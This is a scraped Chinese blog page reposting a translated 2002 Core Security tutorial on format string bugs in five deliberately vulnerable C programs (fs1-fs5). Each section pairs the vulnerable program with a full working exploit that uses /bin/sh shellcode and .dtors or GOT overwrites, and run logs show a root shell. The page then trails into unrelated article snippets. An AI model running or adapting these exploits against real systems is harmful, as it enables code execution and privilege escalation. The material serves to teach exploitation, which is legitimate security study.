【分析】非安全编程演示之格式化字符串篇version1.1

格式化字符串漏洞:从原理到CTF实战利用详解 格式化字符串漏洞是二进制安全领域一个基础且危险的漏洞类型,其根源在于C语言中printf等函数对用户输入数据的过度信任。当程序将用户可控的数据直接作为格式化字符串参数时,攻击者便能通过精心构造的输入(如%x、%s、%n等格式符)操纵函数的解析逻辑。其核心原理在于格式化函数会严格按照格式字符串的指示,从栈或寄存器中读取数据,从而可能导致内存布局的意外暴露。这一漏洞的技术价值在于它能实现任意内存读取与写入,为后续的控制流劫持奠定基础,是绕过地址随机化(ASLR)、栈保护等现代安全机制的关键信息泄露手段。在应用场 阅读详情

非安全编程演示之格式化字符串篇version1.1


创建时间:2003-03-07
文章属性:翻译
文章来源: http://www.ph4nt0m.net/doc/core_format.htm
文章提交: Ph4nt0m (axis_at_ph4nt0m.net)

Title:非安全编程演示之格式化字符串篇version1.1

翻译+整理:刺(ph4nt0m)
来源 http://www.ph4nt0m.net(幻影旅团)
中文html版: http://www.ph4nt0m.net/doc/core_format.htm

Version:1.1
Updated:December 20,2002

原文地址 http://www.core-sec.com/examples/core_format_strings.pdf
版权:Core Security Team http://www.core-sec.com


目录:
       简介
       Fs1.c分析
       Fs2.c分析
       Fs3.c分析
       Fs4.c分析
       Fs5.c分析
       结论
       参考


译者注:
          本文由Core Security发布,通过gera的Insecure Programming中的5个例子说明格式化
字符串漏洞。alert7前辈曾经由这5个例子写了《非安全编程演示之格式化字符串篇》,所
以我也就使用了同样的名字。翻译中的错误之处还请各位高手斧正。


简介
      
       在这篇文章中,Core Security将展示c语言程序中程序员常犯的一些错误。通过gera举的
5个例子来说明format string(格式化字符串)这类型的问题。我们将确切指出程序中的bug,
并将阐述这种错误为什么是危险的,并针对每一个例子都将有一个exploit。在这篇文章中,
测试的平台是 Linux Slackware 8.0 server(IA32),编译器是 GNU GCC 2.95.3:
        
        user@CoreLabs:~$ uname -a
        Linux CoreLabs 2.4.5 #31 SMP Sat Mar 2 03:04:23 EET 2002 i586 unknown
        
        user@CoreLabs:~$ gcc -v
        Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/2.95.3/specs
        gcc version 2.95.3 20010315 (release)
        
        user@CoreLabs:~$ cat /proc/cpuinfo
        processor : 0
        vendor_id : GenuineIntel
        cpu family : 5
        model : 2
        model name : Pentium 75 - 200
      
        user@CoreLabs:~$


        我们假设读者有c编程经验,并且有stack overflow,format string,GOT等的基础知识。在
本文中将不再一一赘述这些溢出的原理。如果不熟悉,请阅读文末的参考里的文章。


        这篇文章以后的更新版本里也许会包括其他平台上的format string信息,大家可以在
www.core-sec.com下载到最新版本。


        有任何问题,请联系:info@core-sec.com


fs1.c分析
        
        这个例子的代码如下
/* fs1.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* Don't forget, *
* more is less, *
* here's a proof */


int main(int argv,char **argc) {
        short int zero=0;
        int *plen=(int*)malloc(sizeof(int));
        char buf[256];


// The next line is added by Core Security to ease exploitation.
        printf("%p/n", &zero);


        strcpy(buf,argc[1]);
        printf("%s%hn/n",buf,plen);
        while(zero);
}


        这个例子没有离奇的地方。下面是printf()的man page中所说:
        
        n              The number of characters written so far is stored into the
        integer indicated by the int * (or variant) pointer argument. No
        argument is converted.
      
        h              A following integer conversion corresponds to a short int or
        unsigned short int argument, or a following n conversion corresponds
        to a pointer to a short int argument.
      (译者注:%n在格式化中的意思是将显示内容的长度输出到一个变量中去。%h的意思
是把后面对应的内容转换为short int型)


        如果攻击者提供260 bytes长的参数,最后四个字节将覆盖指针*plen。当接下来执行
printf()时,将会在*plen(这个值由攻击者控制)所指向的内存中写入一些字符。然而,
由于format string中的h,攻击者将只能写两个字节(short write---由于h的转换)到这个内存
地址。如果提供的参数大于260字节,那么将会覆盖zero,这个例子的程序将进入死循环。


                |_________________________ |
                |   shellcode   addr       |/
                |    shellcode   addr      |  /
                                               65276 bytes
                |    shellcode   addr      |  /
                |    shellcode   addr      |/
                | -------------------------|/
                |    zero   address        |    4 bytes
                | ------------------------ |/
                |    AAAAAAAA              |/
                |                          |  256 bytes
                |    AAAAAAAA              |/
                | ------------------------ |
                |                          |


        溢出是可能的,但是并不容易。攻击者可能采用传统的攻击流程,覆盖程序在栈上的
返回地址。这里只有一个障碍---死循环(endless loop)。argc[1]需要精心构造,另外有针对
zero的检查,如果为NULL字节,程序将正常退出(这样就执行了shellcode)(译者注:绕过
了死循环,因为zero为0,while循环结束)。这可以通过%hn的格式参数来完成。zero是两个
字节长,包含了两个NULL字节的较小的数是0x10000(65536的16进制)。所以,如果argc[1]
是65536bytes长,*plen指向了zero的地址的话,死循环将被绕过。argc[1]的前256个字节为垃
圾(译者注:用于填充buffer),4字节为zero的地址,接下来65276字节填充shellcode地址。
          
        这个例子中真正的障碍是在栈中找出zero的地址。这就是我们在例子中额外加一行
print出zero的地址的原因。Exploit代码如下:


/*
** exp_fs1.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


/* May need some tweaking */
#define ZERO_ADDRESS 0xbffefeca


/* 24 bytes shellcode */
char shellcode[]=
        "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
        "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";


int main(void) {


        char *env[3] = {shellcode, NULL};
        char evil_buffer[65536 + 1] ;
        char *p;
        int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs1");
        int i;


        printf("Shellcode address: 0x%x/n", ret);


        /* Constructing the buffer */
        p = evil_buffer;


        memset(p, 'A', 256);
        p += 256;


        *((void **)p) = (void *) (ZERO_ADDRESS);
        p += 4;


        /* 16319 x 4 = 65276 */
        for(i = 0; i < 16319; i++) {
                *((void **)p) = (void *) (ret);
                                p += 4;
        }


        *p = '/0';


        execle("/home/user/gera/fs1", "fs1", evil_buffer, NULL, env);
}


fs2.c分析
        
        这个例子的代码如下:


/* fs2.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
        char buf[256];


        snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
        snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}


        程序员在这里谨慎的使用了“安全的”函数snprintf()防止溢出。然而,他在两个调用中都
使用了%hn参数。如果攻击者构造特殊的缓冲区,并把格式化字符传递过去,那么将会造成
溢出。注意到snprintf()的格式化参数--“%s%c%hn”的地址都是从argc[1](argc[2]对应第二个
snprintf())。这是程序中的另一个错误。
        
        第一个格式化参数是%s--它要求一个指针为string。snprintf()函数在内存中处理argc[1]的
地址,直到遇到一个null的字符('/0')结束。第二个参数是%c---对应一个整型。比如说如果
argc[1]的地址是0xb f f f f 764,snprintf()将把字符等效为最小有效字(least significant byte)处理
(用可理解的形式来说就是)--‘d’(d=0x64)。第三个参数也是%c,作用和前一个参数同。第
四个参数将写出到目前为止snprintf()所打印的字符的个数。%hn将一个指针保存为整型。它
将把argc[1]里的头四个字节写入(所有字节数)这四个字节所指向的地址(例如,如果argc[1]
像这样“/xbb/xaa/xff/xbf/x41/x41/x41/x41/x43/x44”,那么将写入地址0xbfffaabb
)。如果argc[1]有600bytes长,那么写入0xbfffaabb的值将是602(600来自%s,1个来自%c,另
一个来自第二个%c)。记住%hn是一个short write(一次写2 bytes),攻击者只好把他想覆盖
为shellcode的地址的地址分为两部分来写
        
         攻击者向这个例子所传递的字符串,将首先包含4 bytes(可能为一个GOT entry的地址)
然后是一些垃圾。字符串的长度控制了写入GOT entry地址的值。下面是一个可能的exploit(
通过覆盖heap的.dtors地址):


/*
** exp_fs2.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>
#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs2"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
         "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
         "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";


int main(void) {
    
        char *env[3] = {shellcode, NULL};
        unsigned int first_half, second_half;
        char evil_buffer_1[65500], evil_buffer_2[65500], temp_buffer[64];
        char *p;
        int dtors;
        int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs2");
        FILE *f;


        printf("Shellcode address: 0x%x/n", ret);


        /* Splitting shellcode address in two */
        first_half = (ret & 0xffff0000) >> 16;
        printf("/nShellcode address - first half : 0x%x, %u/n", first_half,
first_half);


        second_half = ret & 0x0000ffff;
        printf("Shellcode address - second half: 0x%x, %u/n", second_half,
second_half);


        sprintf(temp_buffer, "%s -t %s | %s dtors", OBJDUMP, VICTIM, GREP);
        f = popen(temp_buffer, "r");
        if( fscanf(f, "%x", &dtors) != 1) {
                pclose(f);
                printf("Error: Cannot find .dtors address!/n");
                exit(1);
        }
        
        dtors += 4;
        printf(".dtors address is: 0x%x/n/n", dtors);


        /* First buffer writes first half of shellcode address*/
  
        p = evil_buffer_1;


        *((void **)p) = (void *) (dtors + 2);
        p += 4;


        /* 4 for .dtors addres and 2 for %c%c */
        memset(p, 'A', (first_half - 4 - 2));
        p += (first_half - 4 - 2);


        *p = '/0';


        /* Second buffer writes second half of shellcode address*/


        p = evil_buffer_2;


        *((void **)p) = (void *) (dtors);
        p += 4;


        /* 4 for .dtors addres and 2 for %c%c */
        memset(p, 'B', (second_half - 4 - 2));
        p += (second_half - 4 - 2);


        *p = '/0';


        execle("/home/user/gera/fs2", "fs2", evil_buffer_1, evil_buffer_2,
NULL, env);
}


         运行如下:


user@CoreLabs:~/gera$ gcc fs2.c -o fs2
user@CoreLabs:~/gera$ gcc exp_fs2.c -o exp_fs2
user@CoreLabs:~/gera$ ./exp_fs2


Shellcode address: 0xbfffffcd
Shellcode address - first half : 0xbfff, 49151
Shellcode address - second half: 0xffcd, 65485
.dtors address is: 0x8049590


sh-2.05# exit
exit
user@CoreLabs:~/gera$


       下面是例子溢出时heap memory的情况:


        / |                      |           |                         |           |                       |
     GOT  |                      |           |                         |           |                       |
        / |______________________|           |_________________________|           |_______________________|  
        / |   0x00000000         |           |     0xb f f f 0000      |           |    0xb f f f f f c d  |
  .dtors  |----------------------|           |-------------------------|           |-----------------------|
        / |   0xf f f f f f f f  |           |     0xf f f f f f f f   |           |    0xf f f f f f f f  |
          |----------------------|           |-------------------------|           |-----------------------|
        / |   0x00000000         |           |     0x00000000          |           |    0x00000000         |
  .ctors  |----------------------|           |-------------------------|           |-----------------------|
       /  |   0xf f f f f f f f  |           |     0xf f f f f f f f   |           |     0xf f f f f f f f |
          |----------------------|           |-------------------------|           |-----------------------|
          |                      |           |                         |           |                       |
                    
          Before first snprintf()              After first snprintf()                After second snprintf()


fs3.c分析


        例子的源代码如下:


/* fs3.c *
* specially crafted to feed your brain by riq@core-sdi.com */


/* Not enough resources? */


int main(int argv,char **argc) {
        char buf[256];


        snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}


       看起来与fs2.c非常相像。不同之处在于,攻击者只能在内存中写入两个字节,不足
一个确切内存地址(在32位 IA上需要4字节)。如果攻击者够聪明的话,他将在适当的地址
覆盖两字节(比如,shellcode的地址在0xb f f f f f b a,某个返回地址是 0x b f f f a b c d,那么
他将仅仅用ffba去覆盖abcd)。这是攻击者要覆盖的。这里有一些可能性。首先fs3的返回地址
(在栈上--0xb f f f x x x x确定)将因为不同的环境变量压栈而变的难于猜测。其次snprintf()
的返回地址(同样在栈上--0xb f f f x x x x确定)也很难猜测。
        
         heap上的地址可以确定(可以从bin文件得到)。第三种方法就是覆盖.dtors的地址。
然后这并不会起很大的作用。看看fs2.c的那个图就知道。0x00000000的地址经过覆盖后,变
成了0x0000f f b a或0xb f f f0000之一---在这里完全没有用。那么现在剩下的唯一可能的方法
就是覆盖GOT中的__deregister_frame_info()的地址:


user@CoreLabs:~/gera$ objdump -R ./fs3


./fs3: file format elf32-i386


DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080495cc R_386_GLOB_DAT __gmon_start__
080495bc R_386_JUMP_SLOT __register_frame_info
080495c0 R_386_JUMP_SLOT __deregister_frame_info
080495c4 R_386_JUMP_SLOT __libc_start_main
080495c8 R_386_JUMP_SLOT snprintf


user@CoreLabs:~/gera$


          这种覆盖__deregister_frame_info()地址的技术是Core Security Team首次发现和公布的。
一般来说,这是一个在所有GCC的动态连接可执行程序中存在的函数。它在一个函数结束时
--通过调用exit(),return()之类的函数--被调用。覆盖它的地址与覆盖GOT内任何函数地址的效果
是一样的。然而,在这里例子中在GOT里没有合适的函数。
          
           溢出这个例子的唯一途径就是用0xb f f f覆盖__deregister_frame_info()的两个最高有效字,
同时把shellcode保存在stack里面(shellcode前面放一堆NOP)。从上面objdump的输出来看
,__deregister_frame_info()的地址为0x080495c0。覆盖后,将变为0xb f f f 95c0。shellcode的地址
就在这附近----通过NOP在增大落在shellcode范围的几率。


          为了覆盖成功,argc[1]必须为49151 - 2 = 49149 字节长,包括了shellcode和
__deregister_frame_info()的地址。argc[1]会被放入内存(栈)中,比如从0xb f f f f a d7到
0xb f f f 3a d 7。这里唯一可能存在的问题就是如果__deregister_frame_info()的两个最低有效字
大于0xf a d 7或小于0x3 a d 7(这样就不会落在NOP里)。根据统计学来看,这种情况的概率
是25%,但是实际情况中(由于考虑到linux的内存分配)将小于1%(译者注:就是说成功率会
比较高)。


                      |                         |
                      |-------------------------|  <-----0xb f f f f a d 7
                      |          shellcode      |
                      |-------------------------|
                      |             NOP         |
                      |             NOP         |
                      |             NOP         |  > 0xb f f f 95c0
                      |             NOP         |
                      |             NOP         |
                      |-------------------------|
                      | deregister  address     |
                      |-------------------------|  <-----0xb f f f 3a d7
                      |                         |                  


              
            演示exploit:
    
/*
** exp_fs3.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs3"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
         "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
         "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";
int main(void) {


        char evil_buffer[49149 + 1], temp_buffer[64];
        char *p;
        int deregister_address;
        FILE *f;


        sprintf(temp_buffer, "%s -R %s | %s deregister", OBJDUMP, VICTIM,
GREP);
        f = popen(temp_buffer, "r");
        if( fscanf(f, "%x", &deregister_address) != 1) {
                pclose(f);
                printf("Error: Cannot find deregister address in GOT!/n");
                exit(1);
        }


        printf("deregister address is: 0x%x/n", deregister_address);


        /* Evil buffer */
        
        p = evil_buffer;


        *((void **)p) = (void *) (deregister_address + 2);
        p += 4;


        /* Adding the NOPs */
        memset(p, '/x90', (sizeof(evil_buffer) - strlen(shellcode) - 4 -
1));
        p += (sizeof(evil_buffer) - strlen(shellcode) - 4 - 1);


        /* Adding shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);
        *p = '/0';


        execl("/user/home/gera/fs3", "fs3", evil_buffer, NULL);
}


fs4.c分析


              这个例子的源代码如下:


/* fs4.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* Have you ever heard about code reusability? */


int main(int argv,char **argc) {
        char buf[256];


        snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
        printf(buf);
}


       溢出的方法与fs3.c大致相同。这里微小的变化就是这里多了一个格式化参数--“6$”。
这意味着%hn将覆盖第六个参数所指向的地址。为了成功溢出,argc[1]的前8个字节要填充
垃圾(原因留给读者思考)。另一个变动就是exploit里用的不是__deregister_frame_info()的
地址而是printf()的地址(这里没有什么影响):


/*
** exp_fs4.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs4"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
         "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
         "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";


int main(void) {


        char evil_buffer[49151 + 1], temp_buffer[64];
        char *p;
        int printf_address;
        FILE *f;


        sprintf(temp_buffer, "%s -R %s | %s printf", OBJDUMP, VICTIM,
GREP);
        f = popen(temp_buffer, "r");
        if( fscanf(f, "%x", &printf_address) != 1) {
                pclose(f);
                printf("Error: Cannot find printf() address in GOT!/n");
                exit(1);
        }


        printf("printf() address in GOT is: 0x%x/n", printf_address);


        /* Evil buffer */


        p = evil_buffer;


        /* Some junk here */
        memset(p, 'B', 8);
        p += 8;


        *((void **)p) = (void *) (printf_address + 2);
        p += 4;


        /* Adding NOPs. 12 = 8(for junk) + 4(for address) */
        memset(p, '/x90', (sizeof(evil_buffer) - strlen(shellcode) - 12 -
1));
        p += (sizeof(evil_buffer) - strlen(shellcode) - 12 - 1);


        /* Adding shellcode */
        memcpy(p, shellcode, strlen(shellcode));
        p += strlen(shellcode);
        *p = '/0';


        execl("/home/user/gera/fs4", "fs4", evil_buffer, NULL);
}


fs5.c分析


               本例源代码如下:


/* fs5.c *
* specially crafted to feed your brain by gera@core-sdi.com */


/* go, go, go! */
int main(int argv,char **argc) {
        char buf[256];
        snprintf(buf,sizeof buf,argc[1]);


                      /* this line'll make your life easier */
        printf("%s/n",buf);
}


         最后,让我们来看一个经典的format string漏洞。不需要太多的解释,这个溢出非常
的典型,如果你有任何问题请阅读scut的精彩论述(译者注:最新版本为《format string -1.2》
)。这里将自动精确定位--仅仅出于教育目的。这是最后一行(printf("%s/n",buf);)注释的原因。
(译者注:为了方便自动精确定位??请参看alert7的关于自动精确定位的文章)


user@CoreLabs:~/gera$ ./exp_fs5


Reading stack frames...
frame 01 --> 40016478
frame 02 --> 00000001
frame 03 --> bffff8f8
frame 04 --> 41414141


Exact match found. Stack pop is: 4


_deregister address in GOT is: 0x080495ac
shellcode address in stack is: 0xbfffffcd


??0000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000
sh-2.05# exit
exit
user@CoreLabs:~/gera$


           演示exploit如下:


/*
** exp_fs5.c
** Coded by Core Security - info@core-sec.com
*/


#include <string.h>
#include <stdio.h>
#include <unistd.h>


#define OBJDUMP "/usr/bin/objdump"
#define VICTIM "/home/user/gera/fs5"
#define GREP "/bin/grep"


/* 24 bytes shellcode */
char shellcode[]=
         "/x31/xc0/x50/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69"
         "/x6e/x89/xe3/x50/x53/x89/xe1/x99/xb0/x0b/xcd/x80";


int main() {
        char evil_buffer[256], temp_buffer[256];
        char *env[3] = {shellcode, NULL};
        char *p;
        int deregister_address, first_half, second_half, i;
        FILE *f;
        int ret = 0xbffffffa - strlen(shellcode) -
strlen("/home/user/gera/fs5");


        bzero(evil_buffer, sizeof(evil_buffer));
        sprintf(evil_buffer, "%s AAAA", VICTIM);


        /* Finding stack pop */
        printf("/nReading stack frames.../n");
        for(i = 0; i < 30; i ++) {
                strcat(evil_buffer, "%08x");


                f = popen(evil_buffer, "r");
                fscanf(f, "%s", temp_buffer);


                p = temp_buffer + (4 + i*8);
                printf("frame %.2d --> %s/n", (i + 1), p);


                if(!strcmp(p, "41414141")) {
                       printf("/nExact match found. Stack pop is:
%d/n/n", i + 1);
                       pclose(f);
                       break;
                }
              
                pclose(f);
                bzero(temp_buffer, sizeof(temp_buffer));
        }


        if(i == 30) {
                printf("Can't find our format string in stack./n");
                printf("Some padding may be needed. Aborting.../n");
                exit(1);
        }


        sprintf(temp_buffer, "%s -R %s | %s deregister", OBJDUMP, VICTIM,
GREP);
        f = popen(temp_buffer, "r");
        if( fscanf(f, "%08x", &deregister_address) != 1) {
                pclose(f);
                
                printf("Error: Cannot find deregister address in GOT!/n");
                exit(1);
        }
        pclose(f);


        printf("_deregister address in GOT is: 0x%08x/n",
deregister_address);
        printf("shellcode address in stack is: 0x%08x/n/n", ret);


        first_half = (ret & 0xffff0000) >> 16;
        second_half= (ret & 0x0000ffff);


        /* Evil buffer construction */
        p = evil_buffer;
        bzero(p, sizeof(evil_buffer));


        /* first_half*/
        *((void **)p) = (void *) (deregister_address + 2);
        p += 4;


        /* second_half */
        *((void **)p) = (void *) (deregister_address);
        p += 4;


        sprintf(p, "%%.%ud%%%d$hn""%%.%ud%%%d$hn", first_half - 8, i + 1,
second_half - first_half, i + 2);
        execle("/home/user/gera/fs5", "fs5", evil_buffer, NULL, env);
}


结论


           Format strings 漏洞比较容易发现(相对而言缓冲区溢出有时候比较难发现,即便很仔细
的检查了源代码)。自动检测工具检测代码中存在的漏洞通常是有用的。那么,为什么
format strings漏洞被认为具有很大的威胁呢?原因在于它被引起重视的时间比较晚---直到2000
。由于程序员一时偷懒,在很多旧的守护进程和应用程序中存在大量的format string bug。
格式化字符串漏洞在将来不可避免的将带来很多安全问题。


参考


1. Gera, “Insecure Programming by Example”
http://community.core-sdi.com/~gera/InsecureProgramming/


2. scut, “Exploiting Format String Vulnerabilities”
http://www.team-teso.net/releases/formatstring-1.2.tar.gz


3. Aleph One, “Smashing The Stack For Fun and Profit”
http://www.phrack.com/phrack/49/P49-14


4. Linux Programmer's Manual, snprintf() function
http://www.die.net/doc/linux/man/man3/snprintf.3.html


5. Core Security Team, “Vulnerabilities in your code – Advanced Buffer Overflows”
http://www.core-sec.com/examples/core_vulnerabilities.pdf
CVE-2012-0809漏洞剖析:sudo格式化字符串漏洞的利用与防御 格式化字符串漏洞是软件安全领域中的一类经典内存破坏漏洞,其原理源于C语言中printf族函数对用户输入作为格式化字符串参数时的错误处理。当攻击者能够控制格式化字符串内容时,便可通过%s、%x等格式符读取进程内存,或利用%n格式符向任意地址写入数据,从而破坏程序执行流程。这类漏洞的技术价值在于其利用方式直接、危害性高,常被用于权限提升和代码执行攻击,在渗透测试和红队评估中具有重要地位。应用场景广泛存在于各类系统软件和网络服务中,尤其是处理用户输入并记录日志的组件。本文以Linux系统中广泛使用的sudo命令为 阅读详情

相关推荐

从AI代码生成到工程就绪:构建“非空钩”智能编程工作流

代码生成是软件工程自动化的核心领域,其原理是通过机器学习模型将自然语言指令转化为可执行代码。传统方法常面临生成代码片段孤立、依赖缺失、逻辑不完整等“空钩”问题,技术价值在于提升开发效率的同时确保代码质量。在应用场景上,现代开发工具链通过静态分析、上下文感知和自动化测试,将AI生成代码融入完整工程生命周期。本文聚焦于解决AI生成代码“最后一公里”难题,通过实战演示如何整合依赖推断、规范对齐和即时验证,构建可直接集成的“非空钩”代码生成工作流,显著提升代码生成工具链的实用性和可靠性。

weixin_30258901的博客 483

动态符号链接的细节 - - blog of oss.lzu.edu.cn

导读: by falcon2008-02-26        Linux支持动态连接库,不仅节省了磁盘、内存空间,而且可以提高程序运行效率[1]。不过引入动态连接库也可能会带来很多问题,例如动态连接库的调试[4]、升级更新[5]和潜在的安全威胁[6][7]。这里主要讨论符号的动态链接过程,即程序在执行过程中,对其中包含的一些未确定地址的符号进行重定位的过程[3][8]。    本篇主要参考

xu的blog 2万+

Nmap结果格式化工具:提升网络安全扫描报告可读性与分析效率

在网络安全评估和系统运维中,端口扫描是获取网络资产信息的基础技术。其核心原理是通过向目标主机发送特定网络数据包,根据响应判断端口开放状态、服务类型及版本,从而识别潜在风险点。这项技术的价值在于将复杂的网络探测结果转化为结构化的资产清单,为漏洞评估和攻击面分析提供数据支撑。在实际应用场景中,原始扫描数据往往可读性差,需要借助后处理工具进行解析、过滤和可视化。Nmap作为主流的网络扫描工具,其XML格式输出包含了完整的探测信息,但直接阅读困难。通过Python等脚本语言解析XML结构,提取主机状态、开放端口、服

weixin_33875839的博客 429

.cfi指令解读(三)——Dwarf2 Exception Handler HOWTO

转自:http://gcc.gnu.org/wiki/Dwarf2EHNewbiesHowto 这篇有空再翻译,先看着吧。。。。 Authors: Will Cohen and Andwrew Macleod, Red Hat Inc. Description of EH Exception Handling (EH) is provided by languag

lijiatong1005的专栏 2490

Python字符串拼接性能与安全实战指南

字符串拼接是Python开发中最基础却极易被低估的核心操作,其本质涉及不可变对象特性、内存分配机制与运行时开销。理解str的immutable属性和每次拼接触发的新对象创建,是规避O(n²)性能陷阱的前提;掌握join()的预计算长度与批量拷贝原理,可显著降低内存峰值与CPU占用;而f-string凭借编译期优化和自动类型转换,在变量插值场景中兼具性能与安全性。该技术广泛应用于日志生成、API响应组装、CSV/HTML构建及SQL语句构造等工程场景,选型错误将直接导致服务延迟飙升、GC压力激增甚至注入漏洞。

weixin_30325487的博客 396

Muse Spark 1.2:AI驱动的项目级代码理解与安全重构实战指南

在软件开发中,代码重构是提升项目可维护性的关键实践,它涉及在不改变外部行为的前提下优化代码结构。其核心原理在于通过系统性的代码变换,改善设计、消除重复并提高可读性,这依赖于对项目上下文的深度理解,包括模块依赖、符号引用和类型系统。安全重构的技术价值在于显著降低因手动修改引入错误的风险,保障软件在持续演进中的稳定性,尤其适用于大型遗留系统或多人协作项目。应用场景广泛,从重命名广泛使用的变量、提取重复逻辑为函数,到跨文件更新API接口等。本文聚焦的Muse Spark 1.2,正是一款利用AI Agent与代码

weixin_30920853的博客 438

ELF动态解析符号过程(修订版)

 ELF动态解析符号过程(修订版)by alert7 2002-01-27转载自:http://elfhack.whitecell.org★★ 前言本篇文章以linux为平台为例,演示ELF动态解析符号的过程。不正之处,还请斧正。通常,ELF解析符号方式称为lazy MODE装载的。这种装载技术是ELF平台上默认的方式。在不同的体系平台在实现这种机制也是不同的。但是i386和SPA

新博客请访问- http://oliveryang.net 1万+

Python代码质量进阶:静态分析、格式化与类型检查工具链实践

在软件开发中,代码质量是保障项目可维护性和团队协作效率的核心要素。其原理在于通过自动化工具对源代码进行静态分析、风格检查和类型验证,从而在运行前发现潜在问题。这一技术价值在于显著提升代码的健壮性、可读性,并降低长期维护成本。应用场景广泛覆盖个人开发、团队协作以及持续集成流程。具体到Python生态,社区形成了以PEP 8为纲领的代码风格规范,并衍生出强大的自动化工具链。例如,静态分析工具如pylint和flake8能深入检查代码逻辑与风格;自动化格式化工具black则能统一代码格式,终结风格争论;而结合类型

weixin_30279315的博客 373

基于QEMU的NVRAM仿真

本文翻译自 http://www.devttys0.com/2012/03/emulating-nvram-in-qemu/ 能够在Qemu中模拟嵌入式应用程序非常有用,但并非没有陷阱。我遇到的最常见的问题可能是的二进制程序试图从NVRAM中读取配置数据。由于二进制文件在Qemu中运行,而不是在目标设备上运行,因此显然没有要读取的NVRAM。 嵌入式应用程序通常通过共享库与NVRAM交互。该库又与...

瘦果的专栏 3604

AI辅助Python字符串处理实战:从基础操作到编码转换完整指南

字符串处理是编程中的基础概念,指对文本数据进行操作和分析的技术。其核心原理是通过特定的方法和算法对字符序列进行创建、修改、查询等操作。在技术价值方面,高效的字符串处理能力直接影响程序性能和开发效率,特别是在数据处理、Web开发和自动化脚本等领域。Python作为主流编程语言,提供了丰富的字符串处理方法库,包括字符串切片、格式化、编码转换等核心功能。在实际应用场景中,字符串处理技术广泛应用于数据清洗、文件路径处理、用户输入验证等日常开发任务。本教程结合AI银狼项目,通过实例驱动的方式深入讲解Python字符串

weixin_34199335的博客 552

Exploiting Format String Vulnerabilities

Exploiting Format String Vulnerabilities

ctors,dtors,_ctors&_dtors

/* ctors and dtors arrays -- to be used by runtime system */ /* to call static constructors and destructors */ /* */ /* NOTE: Use a C ...

ambercctv的博客 3260

Linux各服务实验配置文件

Linux各服务实验配置文件Linux各服务实验配置文件

非安全编程演示之格式化字符串篇version1.1

非安全编程演示之格式化字符串篇version1.1创建时间:2003-03-07文章属性:翻译文章来源:http://www.ph4nt0m.net/doc/core_format.htm文章提交:Ph4nt0m (axis_at_ph4nt0m.net)Title:非安全编程演示之格式化字符串篇version1.1翻译+整理:刺(ph4nt0m)来源http://www.ph4nt0

修养生息,以得佳境 1120

深入AOSP构建系统:从BUILD_FINGERPRINT的生成逻辑,看如何定制你的Android设备标识

本文深入解析AOSP构建系统中的设备指纹生成机制,详细介绍了BUILD_FINGERPRINT的生成逻辑及其在Android设备中的关键作用。通过分析多个指纹属性的区别与联系,以及如何定制设备标识,帮助开发者更好地理解和掌握Android系统构建过程。

weixin_27017211的博客 224

Unity机械拆装实战:5步搞定发动机模型交互式装配(附完整代码)

本文详细介绍了在Unity中实现高交互性机械拆装仿真的完整流程。以发动机模型为例,通过5个核心步骤:项目初始化与模型准备、核心交互实现、智能装配逻辑、场景管理与相机控制、进阶优化与扩展,系统讲解了从零构建交互式装配功能的方法,并提供了完整的代码示例。

weixin_28049429的博客 217

为AI编程助手Cursor构建实时安全规则引擎,实现安全左移

在软件开发生命周期中,安全左移是一种将安全实践提前至开发早期阶段的核心思想,旨在从源头降低漏洞引入风险。其原理是通过在编码、设计阶段集成安全检查,而非依赖后期测试或部署后的防护。这一理念的技术价值在于能显著降低修复成本,提升软件质量,并培养开发者的安全心智。随着AI编程助手的普及,传统的安全工具在实时性和上下文感知上面临挑战。应用场景自然延伸到AI辅助编码环节,需要一种轻量、实时的安全反馈机制。本文聚焦于为流行的AI编程助手Cursor构建一套自定义安全规则引擎,通过监听代码生成事件,利用正则表达式和AST

weixin_34025151的博客 338

智能车学习日记【二】————十字和斜入十字

